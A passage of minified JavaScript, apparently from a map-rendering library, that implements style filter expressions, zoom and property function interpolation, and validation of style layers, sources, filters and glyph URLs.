U.value.indexOf(R.geometryType())>=0}],"filter-id-in":[ln,[$n(fn)],function(R,D){var U=D[0];return U.value.indexOf(R.id())>=0}],"filter-in-small":[ln,[Lr,$n(fn)],function(R,D){var U=D[0],ee=D[1];return ee.value.indexOf(R.properties()[U.value])>=0}],"filter-in-large":[ln,[Lr,$n(fn)],function(R,D){var U=D[0],ee=D[1];return El(R.properties()[U.value],ee.value,0,ee.value.length-1)}],all:{type:ln,overloads:[[[ln,ln],function(R,D){var U=D[0],ee=D[1];return U.evaluate(R)&&ee.evaluate(R)}],[Ao(ln),function(R,D){for(var U=0,ee=D;U<ee.length;U+=1){var ce=ee[U];if(!ce.evaluate(R))return!1}return!0}]]},any:{type:ln,overloads:[[[ln,ln],function(R,D){var U=D[0],ee=D[1];return U.evaluate(R)||ee.evaluate(R)}],[Ao(ln),function(R,D){for(var U=0,ee=D;U<ee.length;U+=1){var ce=ee[U];if(ce.evaluate(R))return!0}return!1}]]},"!":[ln,[ln],function(R,D){var U=D[0];return!U.evaluate(R)}],"is-supported-script":[ln,[Lr],function(R,D){var U=D[0],ee=R.globals&&R.globals.isSupportedScript;return ee?ee(U.evaluate(R)):!0}],upcase:[Lr,[Lr],function(R,D){var U=D[0];return U.evaluate(R).toUpperCase()}],downcase:[Lr,[Lr],function(R,D){var U=D[0];return U.evaluate(R).toLowerCase()}],concat:[Lr,Ao(fn),function(R,D){return D.map(function(U){return Js(U.evaluate(R))}).join("")}],"resolved-locale":[Lr,[Zn],function(R,D){var U=D[0];return U.evaluate(R).resolvedLocale()}]});function Cl(R){return{result:"success",value:R}}function Ko(R){return{result:"error",value:R}}function Jo(R){return R["property-type"]==="data-driven"||R["property-type"]==="cross-faded-data-driven"}function ou(R){return!!R.expression&&R.expression.parameters.indexOf("zoom")>-1}function Ns(R){return!!R.expression&&R.expression.interpolated}function Qa(R){return R instanceof Number?"number":R instanceof String?"string":R instanceof Boolean?"boolean":Array.isArray(R)?"array":R===null?"null":typeof R}function ws(R){return typeof R=="object"&&R!==null&&!Array.isArray(R)}function Ll(R){return R}function Pl(R,D){var U=D.type==="color",ee=R.stops&&typeof R.stops[0][0]=="object",ce=ee||R.property!==void 0,me=ee||!ce,Se=R.type||(Ns(D)?"exponential":"interval");if(U&&(R=on({},R),R.stops&&(R.stops=R.stops.map(function(Gn){return[Gn[0],Ga.parse(Gn[1])]})),R.default?R.default=Ga.parse(R.default):R.default=Ga.parse(D.default)),R.colorSpace&&R.colorSpace!=="rgb"&&!nu[R.colorSpace])throw new Error("Unknown color space: "+R.colorSpace);var We,at,dt;if(Se==="exponential")We=Us;else if(Se==="interval")We=su;else if(Se==="categorical"){We=pf,at=Object.create(null);for(var xt=0,Bt=R.stops;xt<Bt.length;xt+=1){var qt=Bt[xt];at[qt[0]]=qt[1]}dt=typeof R.stops[0][0]}else if(Se==="identity")We=lu;else throw new Error('Unknown function type "'+Se+'"');if(ee){for(var Zt={},vr=[],kr=0;kr<R.stops.length;kr++){var Jr=R.stops[kr],Zr=Jr[0].zoom;Zt[Zr]===void 0&&(Zt[Zr]={zoom:Zr,type:R.type,property:R.property,default:R.default,stops:[]},vr.push(Zr)),Zt[Zr].stops.push([Jr[0].value,Jr[1]])}for(var mn=[],hn=0,yn=vr;hn<yn.length;hn+=1){var Cn=yn[hn];mn.push([Zt[Cn].zoom,Pl(Zt[Cn],D)])}var _n={name:"linear"};return{kind:"composite",interpolationType:_n,interpolationFactor:wi.interpolationFactor.bind(void 0,_n),zoomStops:mn.map(function(Gn){return Gn[0]}),evaluate:function(ga,aa){var ua=ga.zoom;return Us({stops:mn,base:R.base},D,ua).evaluate(ua,aa)}}}else if(me){var Yn=Se==="exponential"?{name:"exponential",base:R.base!==void 0?R.base:1}:null;return{kind:"camera",interpolationType:Yn,interpolationFactor:wi.interpolationFactor.bind(void 0,Yn),zoomStops:R.stops.map(function(Gn){return Gn[0]}),evaluate:function(Gn){var ga=Gn.zoom;return We(R,D,ga,at,dt)}}}else return{kind:"source",evaluate:function(ga,aa){var ua=aa&&aa.properties?aa.properties[R.property]:void 0;return ua===void 0?ss(R.default,D.default):We(R,D,ua,at,dt)}}}function ss(R,D,U){if(R!==void 0)return R;if(D!==void 0)return D;if(U!==void 0)return U}function pf(R,D,U,ee,ce){var me=typeof U===ce?ee[U]:void 0;return ss(me,R.default,D.default)}function su(R,D,U){if(Qa(U)!=="number")return ss(R.default,D.default);var ee=R.stops.length;if(ee===1||U<=R.stops[0][0])return R.stops[0][1];if(U>=R.stops[ee-1][0])return R.stops[ee-1][1];var ce=ks(R.stops.map(function(me){return me[0]}),U);return R.stops[ce][1]}function Us(R,D,U){var ee=R.base!==void 0?R.base:1;if(Qa(U)!=="number")return ss(R.default,D.default);var ce=R.stops.length;if(ce===1||U<=R.stops[0][0])return R.stops[0][1];if(U>=R.stops[ce-1][0])return R.stops[ce-1][1];var me=ks(R.stops.map(function(Bt){return Bt[0]}),U),Se=Du(U,ee,R.stops[me][0],R.stops[me+1][0]),We=R.stops[me][1],at=R.stops[me+1][1],dt=_s[D.type]||Ll;if(R.colorSpace&&R.colorSpace!=="rgb"){var xt=nu[R.colorSpace];dt=function(Bt,qt){return xt.reverse(xt.interpolate(xt.forward(Bt),xt.forward(qt),Se))}}return typeof We.evaluate=="function"?{evaluate:function(){for(var qt=[],Zt=arguments.length;Zt--;)qt[Zt]=arguments[Zt];var vr=We.evaluate.apply(void 0,qt),kr=at.evaluate.apply(void 0,qt);if(!(vr===void 0||kr===void 0))return dt(vr,kr,Se)}}:dt(We,at,Se)}function lu(R,D,U){return D.type==="color"?U=Ga.parse(U):D.type==="formatted"?U=Ii.fromString(U.toString()):D.type==="resolvedImage"?U=eo.fromString(U.toString()):Qa(U)!==D.type&&(D.type!=="enum"||!D.values[U])&&(U=void 0),ss(U,R.default,D.default)}function Du(R,D,U,ee){var ce=ee-U,me=R-U;return ce===0?0:D===1?me/ce:(Math.pow(D,me)-1)/(Math.pow(D,ce)-1)}var Qo=function(D,U){this.expression=D,this._warningHistory={},this._evaluator=new Do,this._defaultValue=U?ku(U):null,this._enumValues=U&&U.type==="enum"?U.values:null};Qo.prototype.evaluateWithoutErrorHandling=function(D,U,ee,ce,me,Se){return this._evaluator.globals=D,this._evaluator.feature=U,this._evaluator.featureState=ee,this._evaluator.canonical=ce,this._evaluator.availableImages=me||null,this._evaluator.formattedSection=Se,this.expression.evaluate(this._evaluator)},Qo.prototype.evaluate=function(D,U,ee,ce,me,Se){this._evaluator.globals=D,this._evaluator.feature=U||null,this._evaluator.featureState=ee||null,this._evaluator.canonical=ce,this._evaluator.availableImages=me||null,this._evaluator.formattedSection=Se||null;try{var We=this.expression.evaluate(this._evaluator);if(We==null||typeof We=="number"&&We!==We)return this._defaultValue;if(this._enumValues&&!(We in this._enumValues))throw new Li("Expected value to be one of "+Object.keys(this._enumValues).map(function(at){return JSON.stringify(at)}).join(", ")+", but found "+JSON.stringify(We)+" instead.");return We}catch(at){return this._warningHistory[at.message]||(this._warningHistory[at.message]=!0,typeof console<"u"&&console.warn(at.message)),this._defaultValue}};function ls(R){return Array.isArray(R)&&R.length>0&&typeof R[0]=="string"&&R[0]in zo}function Ts(R,D){var U=new Zo(zo,[],D?Rl(D):void 0),ee=U.parse(R,void 0,void 0,void 0,D&&D.type==="string"?{typeAnnotation:"coerce"}:void 0);return ee?Cl(new Qo(ee,D)):Ko(U.errors)}var As=function(D,U){this.kind=D,this._styleExpression=U,this.isStateDependent=D!=="constant"&&!$s(U.expression)};As.prototype.evaluateWithoutErrorHandling=function(D,U,ee,ce,me,Se){return this._styleExpression.evaluateWithoutErrorHandling(D,U,ee,ce,me,Se)},As.prototype.evaluate=function(D,U,ee,ce,me,Se){return this._styleExpression.evaluate(D,U,ee,ce,me,Se)};var no=function(D,U,ee,ce){this.kind=D,this.zoomStops=ee,this._styleExpression=U,this.isStateDependent=D!=="camera"&&!$s(U.expression),this.interpolationType=ce};no.prototype.evaluateWithoutErrorHandling=function(D,U,ee,ce,me,Se){return this._styleExpression.evaluateWithoutErrorHandling(D,U,ee,ce,me,Se)},no.prototype.evaluate=function(D,U,ee,ce,me,Se){return this._styleExpression.evaluate(D,U,ee,ce,me,Se)},no.prototype.interpolationFactor=function(D,U,ee){return this.interpolationType?wi.interpolationFactor(this.interpolationType,D,U,ee):0};function lo(R,D){if(R=Ts(R,D),R.result==="error")return R;var U=R.value.expression,ee=ys(U);if(!ee&&!Jo(D))return Ko([new pn("","data expressions not supported")]);var ce=Is(U,["zoom"]);if(!ce&&!ou(D))return Ko([new pn("","zoom expressions not supported")]);var me=Hs(U);if(!me&&!ce)return Ko([new pn("",'"zoom" expression may only be used as input to a top-level "step" or "interpolate" expression.')]);if(me instanceof pn)return Ko([me]);if(me instanceof wi&&!Ns(D))return Ko([new pn("",'"interpolate" expressions cannot be used with this property')]);if(!me)return Cl(ee?new As("constant",R.value):new As("source",R.value));var Se=me instanceof wi?me.interpolation:void 0;return Cl(ee?new no("camera",R.value,me.labels,Se):new no("composite",R.value,me.labels,Se))}var Ms=function(D,U){this._parameters=D,this._specification=U,on(this,Pl(this._parameters,this._specification))};Ms.deserialize=function(D){return new Ms(D._parameters,D._specification)},Ms.serialize=function(D){return{_parameters:D._parameters,_specification:D._specification}};function Iu(R,D){if(ws(R))return new Ms(R,D);if(ls(R)){var U=lo(R,D);if(U.result==="error")throw new Error(U.value.map(function(ce){return ce.key+": "+ce.message}).join(", "));return U.value}else{var ee=R;return typeof R=="string"&&D.type==="color"&&(ee=Ga.parse(R)),{kind:"constant",evaluate:function(){return ee}}}}function Hs(R){var D=null;if(R instanceof Xo)D=Hs(R.result);else if(R instanceof to)for(var U=0,ee=R.args;U<ee.length;U+=1){var ce=ee[U];if(D=Hs(ce),D)break}else(R instanceof rs||R instanceof wi)&&R.input instanceof Fi&&R.input.name==="zoom"&&(D=R);return D instanceof pn||R.eachChild(function(me){var Se=Hs(me);Se instanceof pn?D=Se:!D&&Se?D=new pn("",'"zoom" expression may only be used as input to a top-level "step" or "interpolate" expression.'):D&&Se&&D!==Se&&(D=new pn("",'Only one zoom-based "step" or "interpolate" subexpression may be used in an expression.'))}),D}function Rl(R){var D={color:Ln,string:Lr,number:br,enum:Lr,boolean:ln,formatted:ta,resolvedImage:Qn};return R.type==="array"?$n(D[R.value]||fn,R.length):D[R.type]}function ku(R){return R.type==="color"&&ws(R.default)?new Ga(0,0,0,0):R.type==="color"?Ga.parse(R.default)||null:R.default===void 0?null:R.default}function Mo(R){var D=R.key,U=R.value,ee=R.valueSpec||{},ce=R.objectElementValidators||{},me=R.style,Se=R.styleSpec,We=[],at=Qa(U);if(at!=="object")return[new pr(D,U,"object expected, "+at+" found")];for(var dt in U){var xt=dt.split(".")[0],Bt=ee[xt]||ee["*"],qt=void 0;if(ce[xt])qt=ce[xt];else if(ee[xt])qt=Qt;else if(ce["*"])qt=ce["*"];else if(ee["*"])qt=Qt;else{We.push(new pr(D,U[dt],'unknown property "'+dt+'"'));continue}We=We.concat(qt({key:(D&&D+".")+dt,value:U[dt],valueSpec:Bt,style:me,styleSpec:Se,object:U,objectKey:dt},U))}for(var Zt in ee)ce[Zt]||ee[Zt].required&&ee[Zt].default===void 0&&U[Zt]===void 0&&We.push(new pr(D,U,'missing required property "'+Zt+'"'));return We}function uu(R){var D=R.value,U=R.valueSpec,ee=R.style,ce=R.styleSpec,me=R.key,Se=R.arrayElementValidator||Qt;if(Qa(D)!=="array")return[new pr(me,D,"array expected, "+Qa(D)+" found")];if(U.length&&D.length!==U.length)return[new pr(me,D,"array length "+U.length+" expected, length "+D.length+" found")];if(U["min-length"]&&D.length<U["min-length"])return[new pr(me,D,"array length at least "+U["min-length"]+" expected, length "+D.length+" found")];var We={type:U.value,values:U.values};ce.$version<7&&(We.function=U.function),Qa(U.value)==="object"&&(We=U.value);for(var at=[],dt=0;dt<D.length;dt++)at=at.concat(Se({array:D,arrayIndex:dt,value:D[dt],valueSpec:We,style:ee,styleSpec:ce,key:me+"["+dt+"]"}));return at}function us(R){var D=R.key,U=R.value,ee=R.valueSpec,ce=Qa(U);return ce==="number"&&U!==U&&(ce="NaN"),ce!=="number"?[new pr(D,U,"number expected, "+ce+" found")]:"minimum"in ee&&U<ee.minimum?[new pr(D,U,U+" is less than the minimum value "+ee.minimum)]:"maximum"in ee&&U>ee.maximum?[new pr(D,U,U+" is greater than the maximum value "+ee.maximum)]:[]}function ol(R){var D=R.valueSpec,U=sn(R.value.type),ee,ce={},me,Se,We=U!=="categorical"&&R.value.property===void 0,at=!We,dt=Qa(R.value.stops)==="array"&&Qa(R.value.stops[0])==="array"&&Qa(R.value.stops[0][0])==="object",xt=Mo({key:R.key,value:R.value,valueSpec:R.styleSpec.function,style:R.style,styleSpec:R.styleSpec,objectElementValidators:{stops:Bt,default:vr}});return U==="identity"&&We&&xt.push(new pr(R.key,R.value,'missing required property "property"')),U!=="identity"&&!R.value.stops&&xt.push(new pr(R.key,R.value,'missing required property "stops"')),U==="exponential"&&R.valueSpec.expression&&!Ns(R.valueSpec)&&xt.push(new pr(R.key,R.value,"exponential functions not supported")),R.styleSpec.$version>=8&&(at&&!Jo(R.valueSpec)?xt.push(new pr(R.key,R.value,"property functions not supported")):We&&!ou(R.valueSpec)&&xt.push(new pr(R.key,R.value,"zoom functions not supported"))),(U==="categorical"||dt)&&R.value.property===void 0&&xt.push(new pr(R.key,R.value,'"property" property is required')),xt;function Bt(kr){if(U==="identity")return[new pr(kr.key,kr.value,'identity function may not have a "stops" property')];var Jr=[],Zr=kr.value;return Jr=Jr.concat(uu({key:kr.key,value:Zr,valueSpec:kr.valueSpec,style:kr.style,styleSpec:kr.styleSpec,arrayElementValidator:qt})),Qa(Zr)==="array"&&Zr.length===0&&Jr.push(new pr(kr.key,Zr,"array must have at least one stop")),Jr}function qt(kr){var Jr=[],Zr=kr.value,mn=kr.key;if(Qa(Zr)!=="array")return[new pr(mn,Zr,"array expected, "+Qa(Zr)+" found")];if(Zr.length!==2)return[new pr(mn,Zr,"array length 2 expected, length "+Zr.length+" found")];if(dt){if(Qa(Zr[0])!=="object")return[new pr(mn,Zr,"object expected, "+Qa(Zr[0])+" found")];if(Zr[0].zoom===void 0)return[new pr(mn,Zr,"object stop key must have zoom")];if(Zr[0].value===void 0)return[new pr(mn,Zr,"object stop key must have value")];if(Se&&Se>sn(Zr[0].zoom))return[new pr(mn,Zr[0].zoom,"stop zoom values must appear in ascending order")];sn(Zr[0].zoom)!==Se&&(Se=sn(Zr[0].zoom),me=void 0,ce={}),Jr=Jr.concat(Mo({key:mn+"[0]",value:Zr[0],valueSpec:{zoom:{}},style:kr.style,styleSpec:kr.styleSpec,objectElementValidators:{zoom:us,value:Zt}}))}else Jr=Jr.concat(Zt({key:mn+"[0]",value:Zr[0],valueSpec:{},style:kr.style,styleSpec:kr.styleSpec},Zr));return ls(Tn(Zr[1]))?Jr.concat([new pr(mn+"[1]",Zr[1],"expressions are not allowed in function stops.")]):Jr.concat(Qt({key:mn+"[1]",value:Zr[1],valueSpec:D,style:kr.style,styleSpec:kr.styleSpec}))}function Zt(kr,Jr){var Zr=Qa(kr.value),mn=sn(kr.value),hn=kr.value!==null?kr.value:Jr;if(!ee)ee=Zr;else if(Zr!==ee)return[new pr(kr.key,hn,Zr+" stop domain type must match previous stop domain type "+ee)];if(Zr!=="number"&&Zr!=="string"&&Zr!=="boolean")return[new pr(kr.key,hn,"stop domain value must be a number, string, or boolean")];if(Zr!=="number"&&U!=="categorical"){var yn="number expected, "+Zr+" found";return Jo(D)&&U===void 0&&(yn+='\nIf you intended to use a categorical function, specify `"type": "categorical"`.'),[new pr(kr.key,hn,yn)]}return U==="categorical"&&Zr==="number"&&(!isFinite(mn)||Math.floor(mn)!==mn)?[new pr(kr.key,hn,"integer expected, found "+mn)]:U!=="categorical"&&Zr==="number"&&me!==void 0&&mn<me?[new pr(kr.key,hn,"stop domain values must appear in ascending order")]:(me=mn,U==="categorical"&&mn in ce?[new pr(kr.key,hn,"stop domain values must be unique")]:(ce[mn]=!0,[]))}function vr(kr){return Qt({key:kr.key,value:kr.value,valueSpec:D,style:kr.style,styleSpec:kr.styleSpec})}}function $o(R){var D=(R.expressionContext==="property"?lo:Ts)(Tn(R.value),R.valueSpec);if(D.result==="error")return D.value.map(function(ee){return new pr(""+R.key+ee.key,R.value,ee.message)});var U=D.value.expression||D.value._styleExpression.expression;if(R.expressionContext==="property"&&R.propertyKey==="text-font"&&!U.outputDefined())return[new pr(R.key,R.value,'Invalid data expression for "'+R.propertyKey+'". Output values must be contained as literals within the expression.')];if(R.expressionContext==="property"&&R.propertyType==="layout"&&!$s(U))return[new pr(R.key,R.value,'"feature-state" data expressions are not supported with layout properties.')];if(R.expressionContext==="filter"&&!$s(U))return[new pr(R.key,R.value,'"feature-state" data expressions are not supported with filters.')];if(R.expressionContext&&R.expressionContext.indexOf("cluster")===0){if(!Is(U,["zoom","feature-state"]))return[new pr(R.key,R.value,'"zoom" and "feature-state" expressions are not supported with cluster properties.')];if(R.expressionContext==="cluster-initial"&&!ys(U))return[new pr(R.key,R.value,"Feature data expressions are not supported with initial expression part of cluster properties.")]}return[]}function gf(R){var D=R.value,U=R.key,ee=Qa(D);return ee!=="boolean"?[new pr(U,D,"boolean expected, "+ee+" found")]:[]}function fu(R){var D=R.key,U=R.value,ee=Qa(U);return ee!=="string"?[new pr(D,U,"color expected, "+ee+" found")]:Gl(U)===null?[new pr(D,U,'color expected, "'+U+'" found')]:[]}function Dl(R){var D=R.key,U=R.value,ee=R.valueSpec,ce=[];return Array.isArray(ee.values)?ee.values.indexOf(sn(U))===-1&&ce.push(new pr(D,U,"expected one of ["+ee.values.join(", ")+"], "+JSON.stringify(U)+" found")):Object.keys(ee.values).indexOf(sn(U))===-1&&ce.push(new pr(D,U,"expected one of ["+Object.keys(ee.values).join(", ")+"], "+JSON.stringify(U)+" found")),ce}function Yi(R){if(R===!0||R===!1)return!0;if(!Array.isArray(R)||R.length===0)return!1;switch(R[0]){case"has":return R.length>=2&&R[1]!=="$id"&&R[1]!=="$type";case"in":return R.length>=3&&(typeof R[1]!="string"||Array.isArray(R[2]));case"!in":case"!has":case"none":return!1;case"==":case"!=":case">":case">=":case"<":case"<=":return R.length!==3||Array.isArray(R[1])||Array.isArray(R[2]);case"any":case"all":for(var D=0,U=R.slice(1);D<U.length;D+=1){var ee=U[D];if(!Yi(ee)&&typeof ee!="boolean")return!1}return!0;default:return!0}}var _u={type:"boolean",default:!1,transition:!1,"property-type":"data-driven",expression:{interpolated:!1,parameters:["zoom","feature"]}};function sl(R){if(R==null)return{filter:function(){return!0},needGeometry:!1};Yi(R)||(R=fs(R));var D=Ts(R,_u);if(D.result==="error")throw new Error(D.value.map(function(ee){return ee.key+": "+ee.message}).join(", "));var U=ll(R);return{filter:function(ee,ce,me){return D.value.evaluate(ee,ce,{},me)},needGeometry:U}}function Fo(R,D){return R<D?-1:R>D?1:0}function ll(R){if(!Array.isArray(R))return!1;if(R[0]==="within")return!0;for(var D=1;D<R.length;D++)if(ll(R[D]))return!0;return!1}function fs(R){if(!R)return!0;var D=R[0];if(R.length<=1)return D!=="any";var U=D==="=="?Il(R[1],R[2],"=="):D==="!="?Ss(Il(R[1],R[2],"==")):D==="<"||D===">"||D==="<="||D===">="?Il(R[1],R[2],D):D==="any"?zu(R.slice(1)):D==="all"?["all"].concat(R.slice(1).map(fs)):D==="none"?["all"].concat(R.slice(1).map(fs).map(Ss)):D==="in"?cu(R[1],R.slice(2)):D==="!in"?Ss(cu(R[1],R.slice(2))):D==="has"?hu(R[1]):D==="!has"?Ss(hu(R[1])):D==="within"?R:!0;return U}function Il(R,D,U){switch(R){case"$type":return["filter-type-"+U,D];case"$id":return["filter-id-"+U,D];default:return["filter-"+U,R,D]}}function zu(R){return["any"].concat(R.map(fs))}function cu(R,D){if(D.length===0)return!1;switch(R){case"$type":return["filter-type-in",["literal",D]];case"$id":return["filter-id-in",["literal",D]];default:return D.length>200&&!D.some(function(U){return typeof U!=typeof D[0]})?["filter-in-large",R,["literal",D.sort(Fo)]]:["filter-in-small",R,["literal",D]]}}function hu(R){switch(R){case"$type":return!0;case"$id":return["filter-has-id"];default:return["filter-has",R]}}function Ss(R){return["!",R]}function kl(R){return Yi(Tn(R.value))?$o(on({},R,{expressionContext:"filter",valueSpec:{value:"boolean"}})):ul(R)}function ul(R){var D=R.value,U=R.key;if(Qa(D)!=="array")return[new pr(U,D,"array expected, "+Qa(D)+" found")];var ee=R.styleSpec,ce,me=[];if(D.length<1)return[new pr(U,D,"filter array must have at least 1 element")];switch(me=me.concat(Dl({key:U+"[0]",value:D[0],valueSpec:ee.filter_operator,style:R.style,styleSpec:R.styleSpec})),sn(D[0])){case"<":case"<=":case">":case">=":D.length>=2&&sn(D[1])==="$type"&&me.push(new pr(U,D,'"$type" cannot be use with operator "'+D[0]+'"'));case"==":case"!=":D.length!==3&&me.push(new pr(U,D,'filter array for operator "'+D[0]+'" must have 3 elements'));case"in":case"!in":D.length>=2&&(ce=Qa(D[1]),ce!=="string"&&me.push(new pr(U+"[1]",D[1],"string expected, "+ce+" found")));for(var Se=2;Se<D.length;Se++)ce=Qa(D[Se]),sn(D[1])==="$type"?me=me.concat(Dl({key:U+"["+Se+"]",value:D[Se],valueSpec:ee.geometry_type,style:R.style,styleSpec:R.styleSpec})):ce!=="string"&&ce!=="number"&&ce!=="boolean"&&me.push(new pr(U+"["+Se+"]",D[Se],"string, number, or boolean expected, "+ce+" found"));break;case"any":case"all":case"none":for(var We=1;We<D.length;We++)me=me.concat(ul({key:U+"["+We+"]",value:D[We],style:R.style,styleSpec:R.styleSpec}));break;case"has":case"!has":ce=Qa(D[1]),D.length!==2?me.push(new pr(U,D,'filter array for "'+D[0]+'" operator must have 2 elements')):ce!=="string"&&me.push(new pr(U+"[1]",D[1],"string expected, "+ce+" found"));break;case"within":ce=Qa(D[1]),D.length!==2?me.push(new pr(U,D,'filter array for "'+D[0]+'" operator must have 2 elements')):ce!=="object"&&me.push(new pr(U+"[1]",D[1],"object expected, "+ce+" found"));break}return me}function Fu(R,D){var U=R.key,ee=R.style,ce=R.styleSpec,me=R.value,Se=R.objectKey,We=ce[D+"_"+R.layerType];if(!We)return[];var at=Se.match(/^(.*)-transition$/);if(D==="paint"&&at&&We[at[1]]&&We[at[1]].transition)return Qt({key:U,value:me,valueSpec:ce.transition,style:ee,styleSpec:ce});var dt=R.valueSpec||We[Se];if(!dt)return[new pr(U,me,'unknown property "'+Se+'"')];var xt;if(Qa(me)==="string"&&Jo(dt)&&!dt.tokens&&(xt=/^{([^}]+)}$/.exec(me)))return[new pr(U,me,'"'+Se+'" does not support interpolation syntax\nUse an identity property function instead: `{ "type": "identity", "property": '+JSON.stringify(xt[1])+" }`.")];var Bt=[];return R.layerType==="symbol"&&(Se==="text-field"&&ee&&!ee.glyphs&&Bt.push(new pr(U,me,'use of "text-field" requires a style "glyphs" property')),Se==="text-font"&&ws(Tn(me))&&sn(me.type)==="identity"&&Bt.push(new pr(U,me,'"text-font" does not support identity functions'))),Bt.concat(Qt({key:R.key,value:me,valueSpec:dt,style:ee,styleSpec:ce,expressionContext:"property",propertyType:D,propertyKey:Se}))}function fl(R){return Fu(R,"paint")}function Ou(R){return Fu(R,"layout")}function Ve(R){var D=[],U=R.value,ee=R.key,ce=R.style,me=R.styleSpec;!U.type&&!U.ref&&D.push(new pr(ee,U,'either "type" or "ref" is required'));var Se=sn(U.type),We=sn(U.ref);if(U.id)for(var at=sn(U.id),dt=0;dt<R.arrayIndex;dt++){var xt=ce.layers[dt];sn(xt.id)===at&&D.push(new pr(ee,U.id,'duplicate layer id "'+U.id+'", previously used at line '+xt.id.__line__))}if("ref"in U){["type","source","source-layer","filter","layout"].forEach(function(vr){vr in U&&D.push(new pr(ee,U[vr],'"'+vr+'" is prohibited for ref layers'))});var Bt;ce.layers.forEach(function(vr){sn(vr.id)===We&&(Bt=vr)}),Bt?Bt.ref?D.push(new pr(ee,U.ref,"ref cannot reference another ref layer")):Se=sn(Bt.type):D.push(new pr(ee,U.ref,'ref layer "'+We+'" not found'))}else if(Se!=="background")if(!U.source)D.push(new pr(ee,U,'missing required property "source"'));else{var qt=ce.sources&&ce.sources[U.source],Zt=qt&&sn(qt.type);qt?Zt==="vector"&&Se==="raster"?D.push(new pr(ee,U.source,'layer "'+U.id+'" requires a raster source')):Zt==="raster"&&Se!=="raster"?D.push(new pr(ee,U.source,'layer "'+U.id+'" requires a vector source')):Zt==="vector"&&!U["source-layer"]?D.push(new pr(ee,U,'layer "'+U.id+'" must specify a "source-layer"')):Zt==="raster-dem"&&Se!=="hillshade"?D.push(new pr(ee,U.source,"raster-dem source can only be used with layer type 'hillshade'.")):Se==="line"&&U.paint&&U.paint["line-gradient"]&&(Zt!=="geojson"||!qt.lineMetrics)&&D.push(new pr(ee,U,'layer "'+U.id+'" specifies a line-gradient, which requires a GeoJSON source with `lineMetrics` enabled.')):D.push(new pr(ee,U.source,'source "'+U.source+'" not found'))}return D=D.concat(Mo({key:ee,value:U,valueSpec:me.layer,style:R.style,styleSpec:R.styleSpec,objectElementValidators:{"*":function(){return[]},type:function(){return Qt({key:ee+".type",value:U.type,valueSpec:me.layer.type,style:R.style,styleSpec:R.styleSpec,object:U,objectKey:"type"})},filter:kl,layout:function(kr){return Mo({layer:U,key:kr.key,value:kr.value,style:kr.style,styleSpec:kr.styleSpec,objectElementValidators:{"*":function(Zr){return Ou(on({layerType:Se},Zr))}}})},paint:function(kr){return Mo({layer:U,key:kr.key,value:kr.value,style:kr.style,styleSpec:kr.styleSpec,objectElementValidators:{"*":function(Zr){return fl(on({layerType:Se},Zr))}}})}}})),D}function Je(R){var D=R.value,U=R.key,ee=Qa(D);return ee!=="string"?[new pr(U,D,"string expected, "+ee+" found")]:[]}var ot={promoteId:Ct};function ft(R){var D=R.value,U=R.key,ee=R.styleSpec,ce=R.style;if(!D.type)return[new pr(U,D,'"type" is required')];var me=sn(D.type),Se;switch(me){case"vector":case"raster":case"raster-dem":return Se=Mo({key:U,value:D,valueSpec:ee["source_"+me.replace("-","_")],style:R.style,styleSpec:ee,objectElementValidators:ot}),Se;case"geojson":if(Se=Mo({key:U,value:D,valueSpec:ee.source_geojson,style:ce,styleSpec:ee,objectElementValidators:ot}),D.cluster)for(var We in D.clusterProperties){var at=D.clusterProperties[We],dt=at[0],xt=at[1],Bt=typeof dt=="string"?[dt,["accumulated"],["get",We]]:dt;Se.push.apply(Se,$o({key:U+"."+We+".map",value:xt,expressionContext:"cluster-map"})),Se.push.apply(Se,$o({key:U+"."+We+".reduce",value:Bt,expressionContext:"cluster-reduce"}))}return Se;case"video":return Mo({key:U,value:D,valueSpec:ee.source_video,style:ce,styleSpec:ee});case"image":return Mo({key:U,value:D,valueSpec:ee.source_image,style:ce,styleSpec:ee});case"canvas":return[new pr(U,null,"Please use runtime APIs to add canvas sources, rather than including them in stylesheets.","source.canvas")];default:return Dl({key:U+".type",value:D.type,valueSpec:{values:["vector","raster","raster-dem","geojson","video","image"]},style:ce,styleSpec:ee})}}function Ct(R){var D=R.key,U=R.value;if(Qa(U)==="string")return Je({key:D,value:U});var ee=[];for(var ce in U)ee.push.apply(ee,Je({key:D+"."+ce,value:U[ce]}));return ee}function At(R){var D=R.value,U=R.styleSpec,ee=U.light,ce=R.style,me=[],Se=Qa(D);if(D===void 0)return me;if(Se!=="object")return me=me.concat([new pr("light",D,"object expected, "+Se+" found")]),me;for(var We in D){var at=We.match(/^(.*)-transition$/);at&&ee[at[1]]&&ee[at[1]].transition?me=me.concat(Qt({key:We,value:D[We],valueSpec:U.transition,style:ce,styleSpec:U})):ee[We]?me=me.concat(Qt({key:We,value:D[We],valueSpec:ee[We],style:ce,styleSpec:U})):me=me.concat([new pr(We,D[We],'unknown property "'+We+'"')])}return me}function Rt(R){return Je(R).length===0?[]:$o(R)}function ir(R){return Je(R).length===0?[]:$o(R)}var cr={"*":function(){return[]},array:uu,boolean:gf,number:us,color:fu,constants:$r,enum:Dl,filter:kl,function:ol,layer:Ve,object:Mo,source:ft,light:At,string:Je,formatted:Rt,resolvedImage:ir};function Qt(R){var D=R.value,U=R.valueSpec,ee=R.styleSpec;if(U.expression&&ws(sn(D)))return ol(R);if(U.expression&&ls(Tn(D)))return $o(R);if(U.type&&cr[U.type])return cr[U.type](R);var ce=Mo(on({},R,{valueSpec:U.type?ee[U.type]:U}));return ce}function gr(R){var D=R.value,U=R.key,ee=Je(R);return ee.length||(D.indexOf("{fontstack}")===-1&&ee.push(new pr(U,D,'"glyphs" url must include a "{fontstack}" token')),D.indexOf("{range}")===-1&&ee.push(new pr(U,D,'"glyphs" url must include a "{range}" token'))),ee}function Tr(R,D){D===void 0&&(D=Ht);var U=[];return U=U.concat(Qt({key:"",value:R,valueSpec:D.$root,styleSpec:D,style:R,objectElementValidators:{glyphs:gr,"*":function(){return[]}}})),R.constants&&(U=U.concat($r({key:"constants",value:R.constants,style:R,styleSpec:D}))),Br(U)}Tr.source=Wr(ft),Tr.light=Wr(At),Tr.layer=Wr(Ve),Tr.filter=Wr(kl),Tr.paintProperty=Wr(fl),Tr.layoutProperty=Wr(Ou);function Br(R){return[].concat(R).sort(function(D,U){return D.line-U.line})}function Wr(R){return function(){for(var D=[],U=arguments.length;U--;)D[U]=arguments[U];return Br(R.apply(this,D))}}var cn=Tr,dn=cn.light,An=cn.paintProperty,ia=cn.layoutProperty;function ma(R,D){var U=!1;if(D&&D.length)for(var ee=0,ce=D;ee<ce.length;ee+=1){var me=ce[ee];R.fire(new rr(new Error(me.message))),U=!0}return U}var wa=Ma,Ta=3;function 